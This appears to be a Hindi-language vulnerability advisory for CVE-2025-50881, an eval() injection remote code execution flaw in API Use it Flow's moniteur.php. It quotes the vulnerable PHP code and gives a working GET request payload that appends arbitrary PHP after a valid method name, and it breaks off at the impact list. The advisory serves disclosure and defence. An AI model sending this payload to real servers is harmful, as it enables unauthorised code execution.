
API SAS उपयोग इसे प्रवाह RCE
पहचानकर्ता: CVE-2025-50881
प्रभावित उत्पाद: API Use it Flow Version 8.2.0 (Rev 15851), Version 9.2.0 (Rev 18093)
संपादक: https://www.tenorsolutions.com (पूर्व में https://api-sas.fr/)
प्रभावित घटक: flow/admin/moniteur.php
भेद्यता प्रकार: eval() इंजेक्शन के माध्यम से रिमोट कोड निष्पादन (RCE)
गंभीरता: गंभीर
विवरण:
flow/admin/moniteur.php स्क्रिप्ट रिमोट कोड निष्पादन के प्रति संवेदनशील है। GET अनुरोधों को संभालते समय, स्क्रिप्ट action URL पैरामीटर से उपयोगकर्ता-आपूर्ति इनपुट लेती है, अपर्याप्त सत्यापन करती है, और इस इनपुट को एक स्ट्रिंग ($wscom) में शामिल करती है जिसे बाद में eval() फ़ंक्शन द्वारा निष्पादित किया जाता है। हालाँकि जाँच की जाती है, यह उपयोगकर्ता इनपुट के केवल उस हिस्से को मान्य करती है जो पहले कोष्ठक से पहले आता है, जिससे हमलावर एक वैध विधि कॉल संरचना के बाद मनमाना PHP कोड जोड़ सकता है। सफल शोषण से एक अप्रमाणित या मामूली प्रमाणित हमलावर वेब सर्वर प्रक्रिया के विशेषाधिकारों के साथ सर्वर पर मनमाना PHP कोड निष्पादित कर सकता है।
method_exists()(संवेदनशील कोड स्निपेट:
फ़ाइल: flow/admin/moniteur.php
उपयोगकर्ता इनपुट पढ़ना (लाइन ~45):
if (isset($_GET['action'])) {$action=urldecode(htmlentities($_GET['action']));} else notice($server);
टिप्पणी: $action सीधे उपयोगकर्ता इनपुट ($_GET['action']) से प्राप्त होता है, केवल URL डिकोडिंग और HTML एंटिटी एन्कोडिंग के साथ, जो कोड इंजेक्शन को नहीं रोकता है।
कमांड स्ट्रिंग का निर्माण (लाइन ~47):
$wscom='$ws->'.$action;
टिप्पणी: उपयोगकर्ता-नियंत्रित $action को $wscom स्ट्रिंग में जोड़ा जाता है।
अपर्याप्त सत्यापन (लाइन ~49):
$func=explode("(",$action);
if (method_exists($ws, $func[0])) {
टिप्पणी: $action का केवल पहले कोष्ठक से पहले का भाग UIFWebService वर्ग की वैध विधियों के विरुद्ध जाँचा जाता है।
eval() के माध्यम से कोड निष्पादन (लाइन ~50):
eval('$res=' . $wscom . ';');
टिप्पणी: उपयोगकर्ता इनपुट से युक्त निर्मित स्ट्रिंग $wscom को PHP कोड के रूप में निष्पादित किया जाता है।
शोषण:
एक हमलावर moniteur.php को GET अनुरोध तैयार कर सकता है, जिसमें मनमाना login और password पैरामीटर (क्योंकि इनका उपयोग कॉल की गई विधि के भीतर प्रमाणीकरण के लिए किया जाता है, न कि स्वयं eval के लिए) और एक दुर्भावनापूर्ण action पैरामीटर प्रदान किया जाता है। action पैरामीटर को method_exists जाँच पास करने के लिए UIFWebService वर्ग के एक वैध विधि नाम (जैसे get_data) से शुरू होना चाहिए, उसके बाद इंजेक्ट किया गया PHP कोड होना चाहिए।
उदाहरण पेलोड:
GET /admin/moniteur.php?login=foo&password=bar&action=get_data(1);phpinfo();$res=0; HTTP/1.1
Host: <target>
यह पेलोड eval() को इस प्रकार कोड निष्पादित करने का परिणाम देता है:
$res = $ws->get_data(1);phpinfo();$res=0;;
यह get_data विधि को निष्पादित करता है, फिर phpinfo() को निष्पादित करता है, और अंत में $res को 0 पर सेट करता है।
प्रभाव: एक हमलावर सर्वर पर मनमाना कमांड निष्पादित कर सकता है, जिससे संभावित रूप से:
प्रकटीकरण: